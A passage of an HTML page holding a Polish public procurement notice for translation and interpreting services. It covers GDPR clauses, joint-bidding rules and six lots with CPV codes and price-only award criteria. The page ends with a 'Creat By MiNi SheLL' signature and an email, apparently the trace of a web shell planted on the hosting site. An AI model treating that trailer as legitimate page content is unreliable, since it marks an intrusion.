lub podmioty, którym udostępniona zostanie dokumentacja postępowania w oparciu o art. 8 oraz art. 96 ust. 3 ustawy z dnia 29 stycznia 2004 r. - Prawo zamówień publicznych (Dz. U. z 2017 r. poz. 1579 ze zm.), dalej ,,ustawa Pzp"; 5)	dane osobowe będą przetwarzane w związku z realizacją Umowy o dofinansowanie nr_ RPPM.02.05.00-22-0001/16-00 do upływu terminów wynikających z tej Umowy, nie krócej niż do dnia 31 grudnia 2028 r.;6)	obowiązek podania przez danych osobowych bezpośrednio dotyczących wykonawcy będącego osobą fizyczną jest wymogiem ustawowym określonym w przepisach ustawy Pzp, związanym z udziałem w postępowaniu o udzielenie zamówienia publicznego; konsekwencje niepodania określonych danych wynikają z ustawy Pzp; 7)	w odniesieniu do danych osobowych decyzje nie będą podejmowane w sposób zautomatyzowany, stosowanie do art. 22 RODO;8)	osoba, której dane są przetwarzane, posiada:a.	na podstawie art. 15 RODO prawo dostępu do danych osobowych jej dotyczących;b.	na podstawie art. 16 RODO prawo do sprostowania jej danych osobowych (skorzystanie z prawa do sprostowania nie może skutkować zmianą wyniku postępowania o udzielenie zamówienia publicznego ani zmianą postanowień umowy w zakresie niezgodnym z ustawą Pzp oraz nie może naruszać integralności protokołu oraz jego załączników);c.	na podstawie art. 18 RODO prawo żądania od administratora ograniczenia przetwarzania danych osobowych z zastrzeżeniem przypadków, o których mowa w art. 18 ust. 2 RODO (prawo do ograniczenia przetwarzania nie ma zastosowania w odniesieniu do przechowywania, w celu zapewnienia korzystania ze środków ochrony prawnej lub w celu ochrony praw innej osoby fizycznej lub prawnej, lub z uwagi na ważne względy interesu publicznego Unii Europejskiej lub państwa członkowskiego); d.	prawo do wniesienia skargi do Prezesa Urzędu Ochrony Danych Osobowych, gdy przetwarzanie danych osobowych narusza przepisy RODO;9)	osoba, której dane są przetwarzane, nie posiada:a.	w związku z art. 17 ust. 3 lit. b, d lub e RODO prawa do usunięcia danych osobowych;b.	prawa do przenoszenia danych osobowych, o którym mowa w art. 20 RODO;c.	na podstawie art. 21 RODO prawa sprzeciwu, wobec przetwarzania danych osobowych, gdyż podstawą prawną przetwarzania danych osobowych jest art. 6 ust. 1 lit. c RODO.////	Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia:1)	W przypadku spółki cywilnej Zamawiający przyjmuje, że Wykonawcami w rozumieniu art. 2 ust. 11 ustawy Pzp, są wspólnicy spółki cywilnej, których udział w postępowaniu traktowany jest jako wspólne ubieganie się o udzielenie zamówienia w rozumieniu art. 23 ust. 1 ustawy Pzp. 2)	Wykonawcy występujący wspólnie ustanawiają pełnomocnika do reprezentowania ich w postępowaniu o udzielenie zamówienia albo reprezentowania w postępowaniu i zawarcia umowy w sprawie zamówienia publicznego.3)	Pełnomocnictwo do dokonywania czynności, o których mowa w pkt 2 powinno mieć postać dokumentu stwierdzającego ustanowienie pełnomocnika, podpisanego przez uprawnionych do ich reprezentacji przedstawicieli wszystkich pozostałych wykonawców. W zakresie formy, pełnomocnictwo musi odpowiadać przepisom Kodeksu Cywilnego (oryginał lub notarialnie potwierdzona kopia). Pełnomocnictwo w formie pisemnej należy dołączyć do oferty.4)	Wykonawcy wspólnie ubiegający się o udzielenie zamówienia ponoszą solidarną odpowiedzialność za wykonanie umowy.5)	Oferta musi być podpisana w taki sposób, by wiązała wszystkich wykonawców występujących wspólnie.6)	Wszelka korespondencja oraz rozliczenia dokonywane będą z wykonawcą występującym jako pełnomocnik pozostałych (liderem).7)	W przypadku wyboru oferty Wykonawców wspólnie ubiegających się o udzielenie zamówienia, Zamawiający może żądać przed zawarciem umowy w sprawie zamówienia publicznego dostarczenia umowy regulującej współpracę tych podmiotów (w formie oryginału lub kserokopii potwierdzonej za zgodność z oryginałem przez wykonawcę).8)	Wykonawcy wspólnie ubiegający się o udzielenie zamówienia składają łącznie Formularz Ofertowy.9)	W przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia, warunek określony ust. 1 pkt. 1.2. ppkt 1 musi spełniać co najmniej jeden wykonawca, zaś warunek określony ust. 1 pkt. 1.2. ppkt 2 wykonawcy muszą spełniać łącznie.</span> </div> </div> <div class="headerLarge_xforms" style="text-align: center"> <u> ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH </u> </div> <br /> <div> <br /> <table><tr><td><b>Część nr: </b></td><td>1</td><td><b>Nazwa: </b></td><td>Tłumaczenia pisemne obejmujące języki: angielski, niemiecki, francuski i rosyjski, </td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>1.	Tłumaczeniu pisemnemu obejmującemu języki: angielski, niemiecki, francuski i rosyjski podlegać będzie w ciągu 12 miesięcy od dnia podpisania umowy do 1320 stron obliczeniowych, z czego ok. 90% tłumaczeń w trybie zwykłym, ok. 10 % w trybie ekspresowym. 2.	Podane w pkt. I.1. wartości (liczba stron i proporcje procentowe) są uzależnione od rzeczywistych potrzeb Zamawiającego, w związku z czym wartość przedmiotu zamówienia wskazana w Formularzu Ofertowym jest wielkością szacunkową, przyjętą na potrzeby dokonania oceny ofert. Ilości zamówień dokonywanych przez Zamawiającego w trakcie obowiązywania Umowy mogą różnić się od ilości podanych dla poszczególnych pozycji w Formularzu asortymentowo-cenowym (zarówno mogą być większe, mniejsze lub nie wystąpić w ogóle). 3.	Dokumenty do przetłumaczenia będą przekazywane Wykonawcy w formie elektronicznej, w wyjątkowych przypadkach mogą być przekazywane również w wersji papierowej. Szczegółowy opis poszczególnych części zamówienia.4. Szczegółowy opis części zamówienia opisany został w OPZ - Załączniku nr 1 do SIWZ oraz wzorze umowy stanowiącym Załącznik nr 2 do SIWZ.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">Cena brutto wykonania zamówienia </td><td style="border: 1px solid black;border-collapse: collapse;">100,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b>Termin realizacji przedmiotu zamówienia: jeden rok od dnia zawarcia umowy.<br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>2</td><td><b>Nazwa: </b></td><td>Tłumaczenia pisemne obejmujące języki: ukraiński, hiszpański, szwedzki, norweski, fiński i duński, </td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>1.	Tłumaczeniu pisemnemu obejmującemu języki: ukraiński, hiszpański, szwedzki, norweski, fiński i duński, podlegać będzie w ciągu 12 miesięcy od dnia podpisania umowy do 110 stron obliczeniowych, z czego ok. 90% tłumaczeń w trybie zwykłym, ok. 10 % w trybie ekspresowym.2.	Podane w pkt. II.1 wartości (liczba stron i proporcje procentowe) są uzależnione od rzeczywistych potrzeb Zamawiającego w związku z czym wartość przedmiotu zamówienia wskazana w Formularzu Ofertowym jest wielkością szacunkową, przyjętą na potrzeby dokonania oceny ofert. Ilości zamówień dokonywanych przez Zamawiającego w trakcie obowiązywania Umowy mogą różnić się od ilości podanych dla poszczególnych pozycji w Formularzu asortymentowo-cenowym (zarówno mogą być większe, mniejsze lub nie wystąpić w ogóle). 3.	Dokumenty do przetłumaczenia będą przekazywane Wykonawcy w formie elektronicznej, w wyjątkowych przypadkach mogą być przekazywane również w wersji papierowej.4. Szczegółowy opis części zamówienia opisany został w OPZ - Załączniku nr 1 do SIWZ oraz wzorze umowy stanowiącym Załącznik nr 2 do SIWZ.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">Cena brutto wykonania zamówienia </td><td style="border: 1px solid black;border-collapse: collapse;">100,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b>Termin realizacji przedmiotu zamówienia: jeden rok od dnia zawarcia umowy.<br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>3</td><td><b>Nazwa: </b></td><td>Tłumaczenia pisemne obejmujące języki: chiński i japoński,</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>1.	Tłumaczeniu pisemnemu obejmującemu języki: chiński i japoński podlegać będzie w ciągu 12 miesięcy od dnia podpisania umowy do 70 stron obliczeniowych, z czego ok. 90% tłumaczeń w trybie zwykłym, ok. 10 % w trybie ekspresowym. 2.	Podane w pkt. III.1 wartości (liczba stron i proporcje procentowe) są uzależnione od rzeczywistych potrzeb Zamawiającego w związku z czym wartość przedmiotu zamówienia wskazana w Formularzu Ofertowym jest wielkością szacunkową, przyjętą na potrzeby dokonania oceny ofert. Ilości zamówień dokonywanych przez Zamawiającego w trakcie obowiązywania Umowy mogą różnić się od ilości podanych dla poszczególnych pozycji w Formularzu asortymentowo-cenowym (zarówno mogą być większe, mniejsze lub nie wystąpić w ogóle). 3.	Dokumenty do przetłumaczenia będą przekazywane Wykonawcy w formie elektronicznej, w wyjątkowych przypadkach mogą być przekazywane również w wersji papierowej. 4. Szczegółowy opis części zamówienia opisany został w OPZ - Załączniku nr 1 do SIWZ oraz wzorze umowy stanowiącym Załącznik nr 2 do SIWZ.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">Cena brutto wykonania zamówienia </td><td style="border: 1px solid black;border-collapse: collapse;">100,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b>Termin realizacji przedmiotu zamówienia: jeden rok od dnia zawarcia umowy.<br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>4</td><td><b>Nazwa: </b></td><td>Weryfikacja przetłumaczonego tekstu z języka polskiego na język angielski oraz z języka angielskiego na język polski przez drugiego tłumacza,</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia jest świadczenie usług weryfikacji przetłumaczonego tekstu z języka polskiego na język angielski oraz z języka angielskiego na język polski przez drugiego tłumacza. 1. Weryfikacji przetłumaczonego tekstu z języka polskiego na język angielski oraz z języka angielskiego na język polski przez drugiego tłumacza podlegać będzie w ciągu 12 miesięcy od dnia podpisania umowy do 350 stron obliczeniowych, z czego ok. 90% stron w trybie zwykłym, ok. 10 % w trybie ekspresowym. 2. Podane w pkt. IV.1. wartości (liczba stron i proporcje procentowe) są uzależnione od rzeczywistych potrzeb Zamawiającego w związku z czym wartość przedmiotu zamówienia wskazana w Formularzu Ofertowym jest wielkością szacunkową, przyjętą na potrzeby dokonania oceny ofert. Ilości zamówień dokonywanych przez Zamawiającego w trakcie obowiązywania Umowy mogą różnić się od ilości podanych dla poszczególnych pozycji w Formularzu asortymentowo-cenowym (zarówno mogą być większe, mniejsze lub nie wystąpić w ogóle). 3. Dokumenty do weryfikacji będą przekazywane Wykonawcy w formie elektronicznej, w wyjątkowych przypadkach mogą być przekazywane również w wersji papierowej. 4. Szczegółowy opis części zamówienia opisany został w OPZ - Załączniku nr 1 do SIWZ oraz wzorze umowy stanowiącym Załącznik nr 2 do SIWZ.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">Cena brutto wykonania zamówienia </td><td style="border: 1px solid black;border-collapse: collapse;">100,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b>Termin realizacji przedmiotu zamówienia: jeden rok od dnia zawarcia umowy.<br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>5</td><td><b>Nazwa: </b></td><td>Tłumaczenia ustne konsekutywne obejmujące języki: angielski, chiński i japoński,</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia jest świadczenie usług tłumaczeń ustnych konsekutywnych.1. Zamawiający przewiduje ok. 20 godzin zegarowych tłumaczeń konsekutywnych z języka angielskiego na język polski i z j. polskiego na język angielski, w ciągu 12 miesięcy od dnia podpisania umowy.2. Zamawiający przewiduje ok. 15 godzin zegarowych tłumaczeń konsekutywnych z języka chińskiego na język polski i z j. polskiego na język chiński, w ciągu 12 miesięcy od dnia podpisania umowy.3.Zamawiający przewiduje ok. 10 godzin zegarowych tłumaczeń konsekutywnych z języka japońskiego na język polski i z j. polskiego na język japoński, w ciągu 12 miesięcy od dnia podpisania umowy.4. Tłumaczenia będą się odbywać na terenie Trójmiasta.5. Wykonawca zawiadamiany będzie o przewidywanym tłumaczeniu konsekutywnym, przez upoważnionego pracownika Zamawiającego w formie pisemnej, elektronicznej lub telefonicznej co najmniej na 5 dni przed przewidywanym tłumaczeniem Zawiadomienie będzie zawierało podstawowe informacje na temat wydarzenia, między innymi: dokładny termin, miejsce, rodzaj wydarzenia, liczba oraz rodzaj gości, zarys tematyki, przewidywana długość tłumaczenia. 6. W przypadku jeżeli planowane tłumaczenie przekracza jednorazowo 4 godziny, Wykonawca może wskazać więcej niż jednego tłumacza do realizacji zlecenia. 7. Wykonawca jest zobowiązany do poinformowania Zamawiającego, jaki tłumacz/tłumacze będzie realizował zlecenie. Wskazany tłumacz jest zobowiązany stawić się w określonym miejscu i czasie, jednak nie później niż na godzinę przez rozpoczęciem wydarzenia. W celu przygotowania merytorycznego do spotkania wskazany tłumacz może kontaktować się z Zamawiającym. Tłumacz jest zobowiązany do dostosowania swojego ubioru do danego wydarzenia. 8. Zamawiający może odwołać tłumaczenie ustne na co najmniej 5 godzin przed planowanym wydarzeniem. W przypadku odwołania tłumaczenia w późniejszym terminie, Wykonawca może zażądać zapłaty przez Zamawiającego kwoty 50% wynagrodzenia za realizację tego zamówienia jednostkowego.9. Szczegółowy opis części zamówienia opisany został w OPZ - Załączniku nr 1 do SIWZ oraz wzorze umowy stanowiącym Załącznik nr 2 do SIWZ.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79540000-1, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">Cena brutto wykonania zamówienia </td><td style="border: 1px solid black;border-collapse: collapse;">100,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b>Termin realizacji przedmiotu zamówienia: jeden rok od dnia zawarcia umowy.<br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>6</td><td><b>Nazwa: </b></td><td>Tłumaczenia ustne symultaniczne obejmujące język angielski wraz z wypożyczeniem i obsługą sprzętu do tłumaczenia symultanicznego</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia jest świadczenie usług tłumaczeń ustnych symultanicznych wraz z wypożyczeniem i obsługą sprzętu do tłumaczenia symultanicznego:1. Zamawiający przewiduje ok. 45 godzin zegarowych tłumaczeń symultanicznych z języka angielskiego na język polski i z języka polskiego na język angielski. 2. Tłumaczenia będą się odbywać na terenie Trójmiasta bądź w promieniu 150 km od Trójmiasta, ale na terenie województwa pomorskiego. Zamawiający przewiduje maksymalnie cztery jednodniowe i jedno dwudniowe wydarzenie w Trójmieście oraz jedno jednodniowe oraz jedno dwudniowe wydarzenie poza Trójmiastem. Zamawiający każdorazowo przedstawi Wykonawcy w zamówieniu dokładny adres wydarzenia, liczbę uczestników oraz jego agendę. Koszty podróży i ewentualnego zakwaterowania pokrywa biuro tłumaczeń. 3. Wykonawca zawiadamiany będzie o przewidywanym tłumaczeniu symultanicznym przez upoważnionego pracownika Zamawiającego w formie pisemnej, elektronicznej lub telefonicznej, co najmniej na 5 dni przed przewidywanym tłumaczeniem, a w przypadku tłumaczeń podczas wydarzeń poza Trójmiastem na co najmniej 10 dni. Zawiadomienie będzie zawierało podstawowe informacje na temat wydarzenia, między innymi: dokładny termin, miejsce, rodzaj wydarzenia, liczba oraz rodzaj gości, zarys tematyki, przewidywana długość tłumaczenia. 4. Wykonawca jest zobowiązany do poinformowania Zamawiającego, jaki tłumacz/tłumacze będzie realizował/realizowali zlecenie. Wskazany tłumacz jest zobowiązany stawić się w określonym miejscu i czasie, jednak nie później niż na godzinę przez rozpoczęciem wydarzenia. W celu przygotowania merytorycznego do spotkania wskazany tłumacz może kontaktować się z Zamawiającym. Tłumacz jest zobowiązany do dostosowania swojego ubioru do danego wydarzenia. 5. Zamawiający może odwołać tłumaczenie ustne na co najmniej 5 godzin przed planowanym wydarzeniem, a w przypadku tłumaczeń poza Trójmiastem na co najmniej 1 dzień przed planowanym wydarzeniem. W przypadku odwołania tłumaczenia w późniejszym terminie, Wykonawca może zażądać zapłaty przez Zamawiającego kwoty 50% wynagrodzenia za realizację tego zamówienia jednostkowego. 6. Wykonawca zobowiązany jest do zapewnienia odpowiedniego sprzętu do tłumaczeń symultanicznych dla maksymalnie 200 uczestników.7. Wykonawca jest zobowiązany dostarczyć na miejsce świadczenia usługi na terenie Trójmiasta bądź w promieniu 150 km od Trójmiasta sprzęt w celu wykonania tłumaczeń symultanicznych:a)	Kabina dla tłumaczy wraz z niezbędnym wyposażeniem - na każde wydarzenie;b)	Słuchawki - maksymalnie 200 sztuk;c)	Mikrofony bezprzewodowe/przewodowe - 3 sztuki; d)	Nagłośnienie tłumaczeń symultanicznych - komplete)	Transport montaż i demontaż kabin, słuchawek, mikrofonów, nagłośnienia do obsługi tłumaczeń symultanicznych f)	Obsługa techniczna tłumaczeń symultanicznychW/w sprzęt wraz z obsługą zostanie dostarczony przez Wykonawcę na miejsce usługi w ilości wskazanej przez Zamawiającego. Wykonawca zobowiązany jest również do rozpakowania tego sprzętu i przygotowanie go do świadczenia usługi tłumaczenia symultanicznego. 8. Szczegółowy opis części zamówienia opisany został w OPZ - Załączniku nr 1 do SIWZ oraz wzorze umowy stanowiącym Załącznik nr 2 do SIWZ.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79540000-1, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">Cena brutto wykonania zamówienia </td><td style="border: 1px solid black;border-collapse: collapse;">100,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b>Termin realizacji przedmiotu zamówienia: jeden rok od dnia zawarcia umowy.<br/><br/><br/> </div> <br /> <br /> </div> <br /> <br /> <table> <tr> <td> </td> </tr> </table> </div> <script type="text/javascript">//<![CDATA[//]]></script>

Creat By MiNi SheLL
Email: jattceo@gmail.com